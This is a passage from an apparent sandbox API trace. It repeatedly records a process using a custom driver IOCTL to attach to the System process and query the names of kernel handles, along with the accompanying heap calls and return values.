PsAcquireProcessExitSynchronization () returned 0x0 [0064.151] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.152] ObReferenceObjectByHandle (in: Handle=0xffffffff80000818, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80022b2f20, HandleInformation=0x0) returned 0x0 [0064.152] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.152] PsReleaseProcessExitSynchronization () returned 0x2 [0064.152] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.152] ObQueryNameString (in: Object=0xfffffa80022b2f20, ObjectNameInfo=0xfffffa80038fd044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fd044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.152] ObfDereferenceObject (Object=0xfffffa80022b2f20) returned 0x2 [0064.152] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.152] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.152] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.152] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.152] PsAcquireProcessExitSynchronization () returned 0x0 [0064.152] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.152] ObReferenceObjectByHandle (in: Handle=0xffffffff8000081c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002119050, HandleInformation=0x0) returned 0x0 [0064.152] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.152] PsReleaseProcessExitSynchronization () returned 0x2 [0064.152] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.152] ObQueryNameString (in: Object=0xfffffa8002119050, ObjectNameInfo=0xfffffa80038fe044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038fe044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.152] ObfDereferenceObject (Object=0xfffffa8002119050) returned 0x2 [0064.152] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.152] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.152] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.152] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.152] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.152] PsAcquireProcessExitSynchronization () returned 0x0 [0064.152] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.152] ObReferenceObjectByHandle (in: Handle=0xffffffff80000824, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002355050, HandleInformation=0x0) returned 0x0 [0064.152] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.152] PsReleaseProcessExitSynchronization () returned 0x2 [0064.152] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.152] ObQueryNameString (in: Object=0xfffffa8002355050, ObjectNameInfo=0xfffffa80038ff044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ff044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.152] ObfDereferenceObject (Object=0xfffffa8002355050) returned 0x2 [0064.152] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.153] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.153] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.153] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.153] PsAcquireProcessExitSynchronization () returned 0x0 [0064.153] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.153] ObReferenceObjectByHandle (in: Handle=0xffffffff80000828, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800fb0cf20, HandleInformation=0x0) returned 0x0 [0064.153] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.153] PsReleaseProcessExitSynchronization () returned 0x2 [0064.153] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.153] ObQueryNameString (in: Object=0xfffffa800fb0cf20, ObjectNameInfo=0xfffffa8003900044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003900044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.153] ObfDereferenceObject (Object=0xfffffa800fb0cf20) returned 0x2 [0064.153] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.153] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.153] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.153] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.153] PsAcquireProcessExitSynchronization () returned 0x0 [0064.153] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.153] ObReferenceObjectByHandle (in: Handle=0xffffffff8000082c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80035b4720, HandleInformation=0x0) returned 0x0 [0064.153] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.153] PsReleaseProcessExitSynchronization () returned 0x2 [0064.153] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.153] ObQueryNameString (in: Object=0xfffffa80035b4720, ObjectNameInfo=0xfffffa8003901044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003901044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.153] ObfDereferenceObject (Object=0xfffffa80035b4720) returned 0x2 [0064.153] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.153] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.153] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.153] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.153] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.153] PsAcquireProcessExitSynchronization () returned 0x0 [0064.153] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.154] ObReferenceObjectByHandle (in: Handle=0xffffffff80000834, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80025084b0, HandleInformation=0x0) returned 0x0 [0064.154] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.154] PsReleaseProcessExitSynchronization () returned 0x2 [0064.154] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.154] ObQueryNameString (in: Object=0xfffffa80025084b0, ObjectNameInfo=0xfffffa8003902044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003902044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.154] ObfDereferenceObject (Object=0xfffffa80025084b0) returned 0x2 [0064.154] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.154] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.154] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.154] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.154] PsAcquireProcessExitSynchronization () returned 0x0 [0064.154] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.154] ObReferenceObjectByHandle (in: Handle=0xffffffff80000838, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800211ce50, HandleInformation=0x0) returned 0x0 [0064.154] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.154] PsReleaseProcessExitSynchronization () returned 0x2 [0064.154] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.154] ObQueryNameString (in: Object=0xfffffa800211ce50, ObjectNameInfo=0xfffffa80038ef044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038ef044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.154] ObfDereferenceObject (Object=0xfffffa800211ce50) returned 0x2 [0064.154] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.154] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.154] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.154] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.154] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.154] PsAcquireProcessExitSynchronization () returned 0x0 [0064.154] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.154] ObReferenceObjectByHandle (in: Handle=0xffffffff8000083c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002346960, HandleInformation=0x0) returned 0x0 [0064.154] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.154] PsReleaseProcessExitSynchronization () returned 0x2 [0064.154] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.154] ObQueryNameString (in: Object=0xfffffa8002346960, ObjectNameInfo=0xfffffa80038e9044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e9044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.154] ObfDereferenceObject (Object=0xfffffa8002346960) returned 0x2 [0064.155] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.155] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.155] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.155] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.155] PsAcquireProcessExitSynchronization () returned 0x0 [0064.155] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.155] ObReferenceObjectByHandle (in: Handle=0xffffffff80000840, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa800248d2c0, HandleInformation=0x0) returned 0x0 [0064.155] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.155] PsReleaseProcessExitSynchronization () returned 0x2 [0064.155] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.155] ObQueryNameString (in: Object=0xfffffa800248d2c0, ObjectNameInfo=0xfffffa80037bc7c4, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80037bc7c4, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.155] ObfDereferenceObject (Object=0xfffffa800248d2c0) returned 0x2 [0064.155] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.155] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.155] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.155] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.155] PsAcquireProcessExitSynchronization () returned 0x0 [0064.155] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.155] ObReferenceObjectByHandle (in: Handle=0xffffffff80000844, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002491e80, HandleInformation=0x0) returned 0x0 [0064.155] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.155] PsReleaseProcessExitSynchronization () returned 0x2 [0064.155] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.155] ObQueryNameString (in: Object=0xfffffa8002491e80, ObjectNameInfo=0xfffffa80038e2044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e2044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.155] ObfDereferenceObject (Object=0xfffffa8002491e80) returned 0x2 [0064.155] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.155] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.155] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.155] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.155] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.155] PsAcquireProcessExitSynchronization () returned 0x0 [0064.155] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.155] ObReferenceObjectByHandle (in: Handle=0xffffffff8000084c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80022e39d0, HandleInformation=0x0) returned 0x0 [0064.155] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.156] PsReleaseProcessExitSynchronization () returned 0x2 [0064.156] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.156] ObQueryNameString (in: Object=0xfffffa80022e39d0, ObjectNameInfo=0xfffffa80038e1044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038e1044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.156] ObfDereferenceObject (Object=0xfffffa80022e39d0) returned 0x2 [0064.156] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.156] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.156] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.156] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.156] PsAcquireProcessExitSynchronization () returned 0x0 [0064.156] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.156] ObReferenceObjectByHandle (in: Handle=0xffffffff80000864, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8002511ad0, HandleInformation=0x0) returned 0x0 [0064.156] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.156] PsReleaseProcessExitSynchronization () returned 0x2 [0064.156] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.156] ObQueryNameString (in: Object=0xfffffa8002511ad0, ObjectNameInfo=0xfffffa80038dc044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038dc044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.156] ObfDereferenceObject (Object=0xfffffa8002511ad0) returned 0x2 [0064.156] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.156] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.156] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.156] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.156] PsAcquireProcessExitSynchronization () returned 0x0 [0064.156] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.156] ObReferenceObjectByHandle (in: Handle=0xffffffff80000868, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001f95050, HandleInformation=0x0) returned 0x0 [0064.156] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.156] PsReleaseProcessExitSynchronization () returned 0x2 [0064.156] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.156] ObQueryNameString (in: Object=0xfffffa8001f95050, ObjectNameInfo=0xfffffa80038db044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038db044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.156] ObfDereferenceObject (Object=0xfffffa8001f95050) returned 0x2 [0064.156] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.156] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.156] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.156] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.156] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.156] PsAcquireProcessExitSynchronization () returned 0x0 [0064.157] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.157] ObReferenceObjectByHandle (in: Handle=0xffffffff80000870, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024f5b00, HandleInformation=0x0) returned 0x0 [0064.157] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.157] PsReleaseProcessExitSynchronization () returned 0x2 [0064.157] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.157] ObQueryNameString (in: Object=0xfffffa80024f5b00, ObjectNameInfo=0xfffffa80038a0044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa80038a0044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.157] ObfDereferenceObject (Object=0xfffffa80024f5b00) returned 0x2 [0064.157] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.157] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.157] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x20, lpOverlapped=0x0) returned 1 [0064.157] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.157] PsAcquireProcessExitSynchronization () returned 0x0 [0064.157] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.157] ObReferenceObjectByHandle (in: Handle=0xffffffff80000874, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa80024f7f20, HandleInformation=0x0) returned 0x0 [0064.157] KeUnstackDetachProcess (ApcState=0xfffff880054f85d0) [0064.157] PsReleaseProcessExitSynchronization () returned 0x2 [0064.157] ObfDereferenceObject (Object=0xfffffa8001850990) returned 0x105 [0064.157] ObQueryNameString (in: Object=0xfffffa80024f7f20, ObjectNameInfo=0xfffffa8003866044, Length=0x800, ReturnLength=0xfffff880054f8550 | out: ObjectNameInfo=0xfffffa8003866044, ReturnLength=0xfffff880054f8550) returned 0x0 [0064.157] ObfDereferenceObject (Object=0xfffffa80024f7f20) returned 0x2 [0064.157] IofCompleteRequest (Irp=0xfffffa800eb5b010, PriorityBoost=0) [0064.157] HeapFree (in: hHeap=0x150000, dwFlags=0x0, lpMem=0x1ec05e0 | out: hHeap=0x150000) returned 1 [0064.157] RtlAllocateHeap (HeapHandle=0x150000, Flags=0x0, Size=0x808) returned 0x1ec05e0 [0064.157] DeviceIoControl (in: hDevice=0x7c, dwIoControlCode=0x83350048, lpInBuffer=0x12d4c8*, nInBufferSize=0x20, lpOutBuffer=0x1ec05e0, nOutBufferSize=0x808, lpBytesReturned=0x12d450, lpOverlapped=0x0 | out: lpInBuffer=0x12d4c8*, lpOutBuffer=0x1ec05e0*, lpBytesReturned=0x12d450*=0x7e, lpOverlapped=0x0) returned 1 [0064.157] PsLookupProcessByProcessId (in: ProcessId=0x4, Process=0xfffff880054f8558 | out: Process=0xfffff880054f8558) returned 0x0 [0064.157] PsAcquireProcessExitSynchronization () returned 0x0 [0064.157] KeStackAttachProcess (in: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0 | out: PROCESS=0xfffffa8001850990, ApcState=0xfffff880054f85d0) [0064.157] ObReferenceObjectByHandle (in: Handle=0xffffffff8000087c, DesiredAccess=0x0, ObjectType=0x0, AccessMode=0xfffffa800378d400, Object=0xfffff880054f8548, HandleInformation=0x0 | out: Object=0xfffff880054f8548*=0xfffffa8001fa5900, HandleInformation=0x0) returned 0x0 [0064.157] 